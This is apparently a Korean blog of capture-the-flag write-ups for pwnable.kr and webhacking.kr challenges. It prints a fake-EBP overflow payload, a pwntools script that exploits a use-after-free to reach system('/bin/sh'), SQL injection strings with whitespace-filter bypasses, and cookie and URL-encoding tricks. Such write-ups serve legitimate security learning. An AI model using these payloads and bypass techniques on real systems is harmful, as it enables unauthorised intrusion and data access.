이 문제는 엄청난 낚시가 많았다...

엉뚱한 곳을 리버싱 하면서 취약점을 찾고 있었는데 알고보니 취약점은 매우 간단했다.


1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
  char v2; // [sp+14h] [bp-14h]@1
  char *s2; // [sp+1Ch] [bp-Ch]@1
  int v4; // [sp+20h] [bp-8h]@1
 
  memcpy(&v4, &input, a1);
  s2 = (char *)calc_md5((int)&v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
cs


바로 이 auth 함수에 memcpy를 하면서 길이 검사를 안해서 fsp를 덮어쓸 수 있어 fake ebp 기법을 사용하여 익스플로잇 할 수 있었다.

간단한 문제였다.


1
2
3
4
5
import base64
 
exploit="AAAA"+"\x84\x92\x04\x08\x40\xeb\x11\x08"
print base64.encodestring(exploit)
 
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr dragon  (0) 2017.05.10
pwnable.kr문제 중 쉬운 편에 속했다.
다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다.
문제의 취약점은 총 2가지이다.
1) integer overflow
2) uaf
드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다.
그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
 
r=remote("pwnable.kr",9004)
 
print r.recvuntil("Knight")
 
r.sendline("2")
 
print r.recvuntil("20 HP.")
 
r.sendline("2")
 
r.sendline("1")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
print r.recvuntil("As:")
 
r.sendline(p32(0x08048DBF))
 
r.interactive()
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr simple login  (0) 2017.05.10

다음과 같이 나와서 페이지 소스를 먼저 보았다.

   

   

unlock 계산한 10 나눈 것이 정답이다.

   

콘솔을 통해 계산해 주자.

   

   

이것을 10으로 나눈 999780930.7 답이다.

   

다음과 같이 문제가 풀렸다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2016.09.01
webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01

다음과 같은 창이 나와 눌러보았다.

   

다음과 같이 코드가 나왔다.

   

이것을 해석해 보면 먼저 get방식으로 받은 id변수값이 admin인지 검사하여 참이면 no! 출력한 종료되게 한다. - (1

   

그리고 id변수값을 urldecode 주어 id변수에 다시 저장한다.

   

urlencode url 통해 데이터를 전송하고자 인코딩을 해야 하는 경우에 사용된다. urlencode()함수는 인자로 전달받은 문자열 데이터를 16진수 ASCII코드로 변환하고 앞에 %기호를 붙인 형식으로 인코딩하여 반환한다.

   

값이 "admin" 같으면 문제가 해결된다.

   

   

문제를 풀기 위해서는 admin urlencode 놓는다면 (1 걸리지 않고 $_GET[id] 값이 admin 되어 문제가 풀린다.

   

   

다음 표에 맞춰서 url인코딩을 하였다.

   

admin -> %61%64%6d%69%6e

   

이때 주의해야 점은 url 인코딩 값을 적어 넣을 웹브라우저에서 디코딩 상태로 인식되므로 인코딩 주어야 문제가 풀린다.

   

admin -> %61%64%6d%69%6e -> %2561%2564%256d%2569%256e

   

다음과 같이 문제가 풀렸다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 17번  (0) 2016.09.01
webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01

이미 문제를 풀어 다음과 같이 나와 있지만 원래

ID : guest

PW : 123qwe

였다.

   

index.phps 눌러 보자.

   

php문에서는, guest 123qwe $val_id 변수와 $val_pw 변수에 넣었다.

   

그리고 base64 20 encode 다시 변수에 저장하였다.

   

변수에 저장된 문자들을 다음과 같이 치환하였다.

   

   

값을 쿠키에 저장하고 php문이 끝나게 된다.

   

   

2번째 php문에서는 첫번째 php문에서 수행한 코드를 반대로 수행하게 된다.

   

쿠키의 값을 변수에 담아 첫번째 php에서 치환한 것과 반대로 치환한 base64 20 디코딩하였다.

   

값이 admin이면 문제가 해결된다.

   

   

문제를 풀기 위해 쿠키에 저장되어 있는 값을 guest 아닌 admin으로 변조해 주어야 한다.

   

그러기 위해서는 번째 php문에서 $val_id, $val_pw 들어간 문자열이 admin이라고 생각한 그곳에서 실행된 코드를 수행한 결과값을 쿠키에 저장해야 한다.

   

   

먼저 admin base64 20 인코딩 했다.

   

그리고 나온 값을 문자열 치환해 주기 위해 c언어로 스크립트를 작성하였다.

   

   

다음 코드로 문자열 치환한 결과값을 쿠키에 넣어주었다.

   

결과 다음과 같이 문제가 풀렸다.

   

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 17번  (0) 2016.09.01
webhacking.kr 26번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01

다음과 같은 창이 나왔다. 코드를 살펴보자.

   

   

다음 코드에서, 우리가 눈여겨 보아야 부분은 javascript 쓰여진 function문이다.

   

function 문을 해석해 보면 페이지의 url 변수에 저장한 ".kr" 인덱스 값을 ul변수에 넣어, 30 곱한다.

   

그리고 값과 입력한 값이 일치한다면 Password 출력하는 형식인데, Password ul변수와 우리가 입력한 값의 곱인 것을 있다.

   

그렇다면, 일단 ul변수 값에 들어간 값이 몇인지 알아보자.

   

크롬의 개발자 도구 콘솔창을 사용한다면 변수 값을 쉽게 사용할 있다.

   

변수 ul 510 들어가 있는 것을 있다.

   

따라서 password 260100 것이다.

   

문제가 풀린 것을 있다.

   

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 26번  (0) 2016.09.01
webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01
webhacking.kr 4번  (0) 2016.09.01

다음과 같은 창이 나와 index.phps 들어가 보았다.

   

나온 코드 php 부분만 가져왔다.

   

먼저 코드에서 eregi 함수를 통해

" ,/,\(,\),\t,\|,&,union,select,from,0x"

같은 문자열이 있으면 종료되게 하였다.

   

$q=@mysql_fetch_array(mysql_query("select id from challenge18_table where id='guest' and no=$_GET[no]")); 

   

if($q[0]=="guest") echo ("hi guest"); 

if($q[0]=="admin"

@solve(); 

echo ("hi admin!"); 

   

코드에서는, no 받아온 것을 통해 쿼리문을 완성하여 받아온 값이 guest이면 'hi guest' 출력하고 admin이면 문제가 풀리게 되어 있다.

   

select id from challenge18_table where id='guest' and no=$_GET[no]

   

no 받아올 인젝션 시켜서 다음 id admin으로 인식되도록 만들어야 한다.

   

일단 입력 창에 여러가지 값들을 넣어 보았다.

1 넣자 hi guest 나왔다.

no 2이면 admin 것이라고 유추하고 문제를 풀어 보자.

   

만약 쿼리문이

select id from challenge18_table where id='guest' and no=123 or no=2

같이 되어 있다면 게스트 로그인에 실패하고 admin 계정으로 로그인 것이다. 하지만 여기엔 공백이 들어가 있으므로 공백 우회가 필요하다.

   

공백 우회의 방법은 여러 가지가 있다.

   

1. tab - %09

2. line feed(\n) - %0a

3. carrage return(wr) - %0d

4. 주석 - /**/

5. 괄호 - ()

6. 더하기 - +

   

공백 우회를 이용하여 값을 입력해 보자.

   

   

결과 문제가 풀린 것을 확인할 있다.

   

다른 방법으로 풀어 보자.

쿼리문을

select id from challenge18_table where id='guest' and no=1 or no=2 limit 1,1

다음과 같이 전달해 주어도 문제가 풀릴 것이다.

guest 계정이 no=1 인해 참이 되고, admin계정이 no=2 인해 참이 되어서 guest admin 결과값이 배열에 차례로 들어가게 된다.

   

이런 경우 admin 값만 선택하기 위해서 limit구문을 사용한다.

   

여기에 공백 우회를 적용하여 값을 입력해 보자.

   

   

역시 문제가 풀린 것을 있다.

   

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 6번  (0) 2016.09.01
webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01
webhacking.kr 4번  (0) 2016.09.01
Webhacking.kr 39번  (1) 2016.07.10

다음과 같은 창이 나온다. 소스코드를 보자.

코드를 보고 문제 화면에서 100, 97, 119, 115 아스키코드표에 대응하는 문자 d, a, w, s 키를 누르면 이쁜 별이 나오는 것을 있다.

마우스 오버를 하면 별이 사라진다.

   

이떄 124 아스키코드표에 대응하는 문자 | 누르면 답이 나온다.

   

   

문장에서 문자 번호를 진짜 문자로 바꾸는 fromCharCode 함수를 이용해 124 | 바꾼 현재페이지에서 수를 합친 것에 해당하는 주소로 이동시킨다.

   

다음과 같이 웹페이지가 이동되어 비밀번호가 나타났다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 14번  (0) 2016.09.01
webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 4번  (0) 2016.09.01
Webhacking.kr 39번  (1) 2016.07.10
Webhacking.kr 15번  (0) 2016.07.08

4번을 들어가 보면 다음과 같이 암호화 되어 있는 걸로 보이는 문장이 나온다.

base64에는 bit수를 맞춰주기 위해 '='(padding) 들어가는데, 코드 뒤에 == 들어간 보아 base64라고 유추할 있다(base64 대한 자세한 내용은 암호 카테고리에서 있다).

   

base64 Decode 보니 다음과 같은 문자열이 나왔다. 문자열은 느낌상 16진수 해쉬 같다.

16진수 해쉬 40자리의 해시 함수를 찾아보니 sha1 있어 sha1으로 2 해독하니 답이 나왔다.

   

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01
Webhacking.kr 39번  (1) 2016.07.10
Webhacking.kr 15번  (0) 2016.07.08
Webhacking.kr 1번  (7) 2016.07.07

39번을 들어가 보면 다음과 같은 화면이 나온다.

페이지 소스를 보자. 중요한 php문은 나와있지 않다.

주석이 달린 index.phps를 주목해 보자. Php로 구성되어 있는 홈페이지에서 소스를 보기 위해서는 php 뒤에 s를 붙이면 된다. Phps는 서버 설정에서 addtype로 .phps를 php소스로 정의했을 경우에만 볼 수 있는데, 이것은 설정에서 비활성화 하여 해결이 가능한데, 개발자의 실수로 인해 phps를 이용하여 php소스를 볼 수 있는 경우가 있다.

이 문제에서는 주석을 통해 그런 취약점의 힌트를 알려주고 있다.

이제 index.phps를 주소에 적어 php 소스를 확인해 보자.

다음과 같이 코드가 나왔다.

다음 php 코드를 해석해 보자.

 


$_POST[id]=str_replace("\\","",$_POST[id]);
$_POST[id]=str_replace("'","''",$_POST[id]);

 

Str_replace 함수는 str_replace ( mixed $search , mixed $replace , mixed $subject [,int &$count ] )

다음과 같이 사용하는데, subject에서 발견한 모든 search 주어진 replace 값으로 치환한 문자열을 반환한다.


$_POST[id]=substr($_POST[id],0,15);

 

substr함수는

substr ( string $string , int $start [, int $length ] )

다음과 같이 사용하는데, start length 의해 잘려진 문자열을 반환한다.


$q=mysql_fetch_array(mysql_query("select 'good' from zmail_member where id='$_POST[id]"));

 

Mysql_fetch_array함수는 행을 배열로 반환한다.



if($q[0]=="good") @solve();

 

열에서 받은 q q[0] good이면 문제가 해결된다.

 

php문을 해석한 것을 바탕으로 어떻게 문제를 생각해 보자.

자세히 보면, q값에 배열을 넣을 , sql쿼리문 id='$_POST[id]" 부분이 오류가 난다.

이때 우리가 주어야 것은 $_POST[id] good 넣으면서, 오류가 나지 않게 해야 것이다.

다음과 같이 good 입력하고 공백을 10, 그리고 ' 넣는다면 ' '' 바뀌어도 15번째까지 문자열을 자르므로 ' 하나만 변수에 입력되어 q[0]값이 good 것이다.

문제가 풀린 것을 확인할 있다.

'워게임 > webhacking.kr' 카테고리의 다른 글

webhacking.kr 18번  (1) 2016.09.01
webhacking.kr 16번  (0) 2016.09.01
webhacking.kr 4번  (0) 2016.09.01
Webhacking.kr 15번  (0) 2016.07.08
Webhacking.kr 1번  (7) 2016.07.07

+ Recent posts